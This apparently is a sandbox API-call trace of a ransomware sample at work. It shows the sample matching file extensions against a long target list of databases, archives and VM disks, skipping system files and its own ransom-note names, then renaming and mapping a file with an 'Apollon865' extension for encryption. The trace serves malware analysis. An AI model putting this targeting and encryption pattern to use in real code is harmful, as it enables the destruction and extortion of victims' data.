	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="fpt") returned 1
	[0085.282] lstrlenW (lpString="frm") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="frm") returned 1
	[0085.282] lstrlenW (lpString="gdb") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="gdb") returned 1
	[0085.282] lstrlenW (lpString="gdb") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="gdb") returned 1
	[0085.282] lstrlenW (lpString="grdb") returned 4
	[0085.282] lstrcmpiW (lpString1=".H1H", lpString2="grdb") returned -1
	[0085.282] lstrlenW (lpString="gwi") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="gwi") returned 1
	[0085.282] lstrlenW (lpString="hdb") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="hdb") returned -1
	[0085.282] lstrlenW (lpString="his") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="his") returned -1
	[0085.282] lstrlenW (lpString="ib") returned 2
	[0085.282] lstrcmpiW (lpString1="1H", lpString2="ib") returned -1
	[0085.282] lstrlenW (lpString="idb") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="idb") returned -1
	[0085.282] lstrlenW (lpString="ihx") returned 3
	[0085.282] lstrcmpiW (lpString1="H1H", lpString2="ihx") returned -1
	[0085.283] lstrlenW (lpString="itdb") returned 4
	[0085.283] lstrcmpiW (lpString1=".H1H", lpString2="itdb") returned -1
	[0085.283] lstrlenW (lpString="itw") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="itw") returned -1
	[0085.283] lstrlenW (lpString="jet") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="jet") returned -1
	[0085.283] lstrlenW (lpString="jtx") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="jtx") returned -1
	[0085.283] lstrlenW (lpString="kdb") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="kdb") returned -1
	[0085.283] lstrlenW (lpString="kexi") returned 4
	[0085.283] lstrcmpiW (lpString1=".H1H", lpString2="kexi") returned -1
	[0085.283] lstrlenW (lpString="kexic") returned 5
	[0085.283] lstrcmpiW (lpString1="p.H1H", lpString2="kexic") returned 1
	[0085.283] lstrlenW (lpString="kexis") returned 5
	[0085.283] lstrcmpiW (lpString1="p.H1H", lpString2="kexis") returned 1
	[0085.283] lstrlenW (lpString="lgc") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="lgc") returned -1
	[0085.283] lstrlenW (lpString="lwx") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="lwx") returned -1
	[0085.283] lstrlenW (lpString="maf") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="maf") returned -1
	[0085.283] lstrlenW (lpString="maq") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="maq") returned -1
	[0085.283] lstrlenW (lpString="mar") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="mar") returned -1
	[0085.283] lstrlenW (lpString="marshal") returned 7
	[0085.283] lstrcmpiW (lpString1="elp.H1H", lpString2="marshal") returned -1
	[0085.283] lstrlenW (lpString="mas") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="mas") returned -1
	[0085.283] lstrlenW (lpString="mav") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="mav") returned -1
	[0085.283] lstrlenW (lpString="maw") returned 3
	[0085.283] lstrcmpiW (lpString1="H1H", lpString2="maw") returned -1
	[0085.283] lstrlenW (lpString="mdbhtml") returned 7
	[0085.283] lstrcmpiW (lpString1="elp.H1H", lpString2="mdbhtml") returned -1
	[0085.283] lstrlenW (lpString="mdn") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="mdn") returned -1
	[0085.284] lstrlenW (lpString="mdt") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="mdt") returned -1
	[0085.284] lstrlenW (lpString="mfd") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="mfd") returned -1
	[0085.284] lstrlenW (lpString="mpd") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="mpd") returned -1
	[0085.284] lstrlenW (lpString="mrg") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="mrg") returned -1
	[0085.284] lstrlenW (lpString="mud") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="mud") returned -1
	[0085.284] lstrlenW (lpString="mwb") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="mwb") returned -1
	[0085.284] lstrlenW (lpString="myd") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="myd") returned -1
	[0085.284] lstrlenW (lpString="ndf") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="ndf") returned -1
	[0085.284] lstrlenW (lpString="nnt") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="nnt") returned -1
	[0085.284] lstrlenW (lpString="nrmlib") returned 6
	[0085.284] lstrcmpiW (lpString1="lp.H1H", lpString2="nrmlib") returned -1
	[0085.284] lstrlenW (lpString="ns2") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="ns2") returned -1
	[0085.284] lstrlenW (lpString="ns3") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="ns3") returned -1
	[0085.284] lstrlenW (lpString="ns4") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="ns4") returned -1
	[0085.284] lstrlenW (lpString="nsf") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="nsf") returned -1
	[0085.284] lstrlenW (lpString="nv") returned 2
	[0085.284] lstrcmpiW (lpString1="1H", lpString2="nv") returned -1
	[0085.284] lstrlenW (lpString="nv2") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="nv2") returned -1
	[0085.284] lstrlenW (lpString="nwdb") returned 4
	[0085.284] lstrcmpiW (lpString1=".H1H", lpString2="nwdb") returned -1
	[0085.284] lstrlenW (lpString="nyf") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="nyf") returned -1
	[0085.284] lstrlenW (lpString="odb") returned 3
	[0085.284] lstrcmpiW (lpString1="H1H", lpString2="odb") returned -1
	[0085.285] lstrlenW (lpString="odb") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="odb") returned -1
	[0085.285] lstrlenW (lpString="oqy") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="oqy") returned -1
	[0085.285] lstrlenW (lpString="ora") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="ora") returned -1
	[0085.285] lstrlenW (lpString="orx") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="orx") returned -1
	[0085.285] lstrlenW (lpString="owc") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="owc") returned -1
	[0085.285] lstrlenW (lpString="p96") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="p96") returned -1
	[0085.285] lstrlenW (lpString="p97") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="p97") returned -1
	[0085.285] lstrlenW (lpString="pan") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="pan") returned -1
	[0085.285] lstrlenW (lpString="pdb") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="pdb") returned -1
	[0085.285] lstrlenW (lpString="pdm") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="pdm") returned -1
	[0085.285] lstrlenW (lpString="pnz") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="pnz") returned -1
	[0085.285] lstrlenW (lpString="qry") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="qry") returned -1
	[0085.285] lstrlenW (lpString="qvd") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="qvd") returned -1
	[0085.285] lstrlenW (lpString="rbf") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="rbf") returned -1
	[0085.285] lstrlenW (lpString="rctd") returned 4
	[0085.285] lstrcmpiW (lpString1=".H1H", lpString2="rctd") returned -1
	[0085.285] lstrlenW (lpString="rod") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="rod") returned -1
	[0085.285] lstrlenW (lpString="rodx") returned 4
	[0085.285] lstrcmpiW (lpString1=".H1H", lpString2="rodx") returned -1
	[0085.285] lstrlenW (lpString="rpd") returned 3
	[0085.285] lstrcmpiW (lpString1="H1H", lpString2="rpd") returned -1
	[0085.285] lstrlenW (lpString="rsd") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="rsd") returned -1
	[0085.286] lstrlenW (lpString="sas7bdat") returned 8
	[0085.286] lstrcmpiW (lpString1="help.H1H", lpString2="sas7bdat") returned -1
	[0085.286] lstrlenW (lpString="sbf") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="sbf") returned -1
	[0085.286] lstrlenW (lpString="scx") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="scx") returned -1
	[0085.286] lstrlenW (lpString="sdb") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="sdb") returned -1
	[0085.286] lstrlenW (lpString="sdc") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="sdc") returned -1
	[0085.286] lstrlenW (lpString="sdf") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="sdf") returned -1
	[0085.286] lstrlenW (lpString="sis") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="sis") returned -1
	[0085.286] lstrlenW (lpString="spq") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="spq") returned -1
	[0085.286] lstrlenW (lpString="te") returned 2
	[0085.286] lstrcmpiW (lpString1="1H", lpString2="te") returned -1
	[0085.286] lstrlenW (lpString="teacher") returned 7
	[0085.286] lstrcmpiW (lpString1="elp.H1H", lpString2="teacher") returned -1
	[0085.286] lstrlenW (lpString="tmd") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="tmd") returned -1
	[0085.286] lstrlenW (lpString="tps") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="tps") returned -1
	[0085.286] lstrlenW (lpString="trc") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="trc") returned -1
	[0085.286] lstrlenW (lpString="trc") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="trc") returned -1
	[0085.286] lstrlenW (lpString="trm") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="trm") returned -1
	[0085.286] lstrlenW (lpString="udb") returned 3
	[0085.286] lstrcmpiW (lpString1="H1H", lpString2="udb") returned -1
	[0085.287] lstrlenW (lpString="udl") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="udl") returned -1
	[0085.287] lstrlenW (lpString="usr") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="usr") returned -1
	[0085.287] lstrlenW (lpString="v12") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="v12") returned -1
	[0085.287] lstrlenW (lpString="vis") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="vis") returned -1
	[0085.287] lstrlenW (lpString="vpd") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="vpd") returned -1
	[0085.287] lstrlenW (lpString="vvv") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="vvv") returned -1
	[0085.287] lstrlenW (lpString="wdb") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="wdb") returned -1
	[0085.287] lstrlenW (lpString="wmdb") returned 4
	[0085.287] lstrcmpiW (lpString1=".H1H", lpString2="wmdb") returned -1
	[0085.287] lstrlenW (lpString="wrk") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="wrk") returned -1
	[0085.287] lstrlenW (lpString="xdb") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="xdb") returned -1
	[0085.287] lstrlenW (lpString="xld") returned 3
	[0085.287] lstrcmpiW (lpString1="H1H", lpString2="xld") returned -1
	[0085.287] lstrlenW (lpString="xmlff") returned 5
	[0085.287] lstrcmpiW (lpString1="p.H1H", lpString2="xmlff") returned -1
	[0085.287] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H.Apollon865") returned 86
	[0085.287] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h.apollon865"), dwFlags=0x1) returned 1
	[0085.289] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.289] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=499482) returned 1
	[0085.289] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.289] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.289] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.290] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.290] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.290] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.291] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a220, lpName=0x0) returned 0x15c
	[0085.301] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a220) returned 0x210000
	[0085.326] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.327] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.327] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0085.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0085.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.327] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0085.332] CloseHandle (hObject=0x15c) returned 1
	[0085.332] CloseHandle (hObject=0x9c) returned 1
	[0085.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.335] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="HELP_M~1.H1D")) returned 1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="Apollon865.txt.exe") returned 1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".") returned 1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="..") returned 1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="windows") returned -1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="bootmgr") returned 1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="temp") returned -1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="pagefile.sys") returned -1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="boot") returned 1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="ids.txt") returned -1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="ntuser.dat") returned -1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="perflogs") returned -1
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2="MSBuild") returned -1
	[0085.335] lstrlenW (lpString="Help_MValidator.H1D") returned 19
	[0085.335] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned 75
	[0085.335] lstrcpyW (in: lpString1=0x119e67a, lpString2="Help_MValidator.H1D" | out: lpString1="Help_MValidator.H1D") returned="Help_MValidator.H1D"
	[0085.335] lstrlenW (lpString="Help_MValidator.H1D") returned 19
	[0085.335] lstrlenW (lpString="Apollon865") returned 10
	[0085.335] lstrcmpiW (lpString1="idator.H1D", lpString2="Apollon865") returned 1
	[0085.335] lstrlenW (lpString=".dll") returned 4
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".dll") returned 1
	[0085.335] lstrlenW (lpString=".lnk") returned 4
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".lnk") returned 1
	[0085.335] lstrlenW (lpString=".ini") returned 4
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".ini") returned 1
	[0085.335] lstrlenW (lpString=".sys") returned 4
	[0085.335] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".sys") returned 1
	[0085.335] lstrlenW (lpString="Help_MValidator.H1D") returned 19
	[0085.335] lstrlenW (lpString="bak") returned 3
	[0085.335] lstrcmpiW (lpString1="H1D", lpString2="bak") returned 1
	[0085.335] lstrlenW (lpString="ba_") returned 3
	[0085.335] lstrcmpiW (lpString1="H1D", lpString2="ba_") returned 1
	[0085.335] lstrlenW (lpString="dbb") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="dbb") returned 1
	[0085.336] lstrlenW (lpString="vmdk") returned 4
	[0085.336] lstrcmpiW (lpString1=".H1D", lpString2="vmdk") returned -1
	[0085.336] lstrlenW (lpString="rar") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="rar") returned -1
	[0085.336] lstrlenW (lpString="zip") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="zip") returned -1
	[0085.336] lstrlenW (lpString="tgz") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="tgz") returned -1
	[0085.336] lstrlenW (lpString="vbox") returned 4
	[0085.336] lstrcmpiW (lpString1=".H1D", lpString2="vbox") returned -1
	[0085.336] lstrlenW (lpString="vdi") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="vdi") returned -1
	[0085.336] lstrlenW (lpString="vhd") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="vhd") returned -1
	[0085.336] lstrlenW (lpString="vhdx") returned 4
	[0085.336] lstrcmpiW (lpString1=".H1D", lpString2="vhdx") returned -1
	[0085.336] lstrlenW (lpString="avhd") returned 4
	[0085.336] lstrcmpiW (lpString1=".H1D", lpString2="avhd") returned -1
	[0085.336] lstrlenW (lpString="db") returned 2
	[0085.336] lstrcmpiW (lpString1="1D", lpString2="db") returned -1
	[0085.336] lstrlenW (lpString="db2") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="db2") returned 1
	[0085.336] lstrlenW (lpString="db3") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="db3") returned 1
	[0085.336] lstrlenW (lpString="dbf") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="dbf") returned 1
	[0085.336] lstrlenW (lpString="mdf") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="mdf") returned -1
	[0085.336] lstrlenW (lpString="mdb") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="mdb") returned -1
	[0085.336] lstrlenW (lpString="sql") returned 3
	[0085.336] lstrcmpiW (lpString1="H1D", lpString2="sql") returned -1
	[0085.336] lstrlenW (lpString="sqlite") returned 6
	[0085.336] lstrcmpiW (lpString1="or.H1D", lpString2="sqlite") returned -1
	[0085.336] lstrlenW (lpString="sqlite3") returned 7
	[0085.336] lstrcmpiW (lpString1="tor.H1D", lpString2="sqlite3") returned 1
	[0085.336] lstrlenW (lpString="sqlitedb") returned 8
	[0085.337] lstrcmpiW (lpString1="ator.H1D", lpString2="sqlitedb") returned -1
	[0085.337] lstrlenW (lpString="xml") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="xml") returned -1
	[0085.337] lstrlenW (lpString="$er") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="$er") returned 1
	[0085.337] lstrlenW (lpString="4dd") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="4dd") returned 1
	[0085.337] lstrlenW (lpString="4dl") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="4dl") returned 1
	[0085.337] lstrlenW (lpString="^^^") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="^^^") returned 1
	[0085.337] lstrlenW (lpString="abs") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="abs") returned 1
	[0085.337] lstrlenW (lpString="abx") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="abx") returned 1
	[0085.337] lstrlenW (lpString="accdb") returned 5
	[0085.337] lstrcmpiW (lpString1="r.H1D", lpString2="accdb") returned 1
	[0085.337] lstrlenW (lpString="accdc") returned 5
	[0085.337] lstrcmpiW (lpString1="r.H1D", lpString2="accdc") returned 1
	[0085.337] lstrlenW (lpString="accde") returned 5
	[0085.337] lstrcmpiW (lpString1="r.H1D", lpString2="accde") returned 1
	[0085.337] lstrlenW (lpString="accdr") returned 5
	[0085.337] lstrcmpiW (lpString1="r.H1D", lpString2="accdr") returned 1
	[0085.337] lstrlenW (lpString="accdt") returned 5
	[0085.337] lstrcmpiW (lpString1="r.H1D", lpString2="accdt") returned 1
	[0085.337] lstrlenW (lpString="accdw") returned 5
	[0085.337] lstrcmpiW (lpString1="r.H1D", lpString2="accdw") returned 1
	[0085.337] lstrlenW (lpString="accft") returned 5
	[0085.337] lstrcmpiW (lpString1="r.H1D", lpString2="accft") returned 1
	[0085.337] lstrlenW (lpString="adb") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="adb") returned 1
	[0085.337] lstrlenW (lpString="adb") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="adb") returned 1
	[0085.337] lstrlenW (lpString="ade") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="ade") returned 1
	[0085.337] lstrlenW (lpString="adf") returned 3
	[0085.337] lstrcmpiW (lpString1="H1D", lpString2="adf") returned 1
	[0085.337] lstrlenW (lpString="adn") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="adn") returned 1
	[0085.338] lstrlenW (lpString="adp") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="adp") returned 1
	[0085.338] lstrlenW (lpString="alf") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="alf") returned 1
	[0085.338] lstrlenW (lpString="ask") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="ask") returned 1
	[0085.338] lstrlenW (lpString="btr") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="btr") returned 1
	[0085.338] lstrlenW (lpString="cat") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="cat") returned 1
	[0085.338] lstrlenW (lpString="cdb") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="cdb") returned 1
	[0085.338] lstrlenW (lpString="ckp") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="ckp") returned 1
	[0085.338] lstrlenW (lpString="cma") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="cma") returned 1
	[0085.338] lstrlenW (lpString="cpd") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="cpd") returned 1
	[0085.338] lstrlenW (lpString="dacpac") returned 6
	[0085.338] lstrcmpiW (lpString1="or.H1D", lpString2="dacpac") returned 1
	[0085.338] lstrlenW (lpString="dad") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="dad") returned 1
	[0085.338] lstrlenW (lpString="dadiagrams") returned 10
	[0085.338] lstrcmpiW (lpString1="idator.H1D", lpString2="dadiagrams") returned 1
	[0085.338] lstrlenW (lpString="daschema") returned 8
	[0085.338] lstrcmpiW (lpString1="ator.H1D", lpString2="daschema") returned -1
	[0085.338] lstrlenW (lpString="db-journal") returned 10
	[0085.338] lstrcmpiW (lpString1="idator.H1D", lpString2="db-journal") returned 1
	[0085.338] lstrlenW (lpString="db-shm") returned 6
	[0085.338] lstrcmpiW (lpString1="or.H1D", lpString2="db-shm") returned 1
	[0085.338] lstrlenW (lpString="db-wal") returned 6
	[0085.338] lstrcmpiW (lpString1="or.H1D", lpString2="db-wal") returned 1
	[0085.338] lstrlenW (lpString="dbc") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="dbc") returned 1
	[0085.338] lstrlenW (lpString="dbs") returned 3
	[0085.338] lstrcmpiW (lpString1="H1D", lpString2="dbs") returned 1
	[0085.338] lstrlenW (lpString="dbt") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dbt") returned 1
	[0085.339] lstrlenW (lpString="dbv") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dbv") returned 1
	[0085.339] lstrlenW (lpString="dbx") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dbx") returned 1
	[0085.339] lstrlenW (lpString="dcb") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dcb") returned 1
	[0085.339] lstrlenW (lpString="dct") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dct") returned 1
	[0085.339] lstrlenW (lpString="dcx") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dcx") returned 1
	[0085.339] lstrlenW (lpString="ddl") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="ddl") returned 1
	[0085.339] lstrlenW (lpString="dlis") returned 4
	[0085.339] lstrcmpiW (lpString1=".H1D", lpString2="dlis") returned -1
	[0085.339] lstrlenW (lpString="dp1") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dp1") returned 1
	[0085.339] lstrlenW (lpString="dqy") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dqy") returned 1
	[0085.339] lstrlenW (lpString="dsk") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dsk") returned 1
	[0085.339] lstrlenW (lpString="dsn") returned 3
	[0085.339] lstrcmpiW (lpString1="H1D", lpString2="dsn") returned 1
	[0085.339] lstrlenW (lpString="dtsx") returned 4
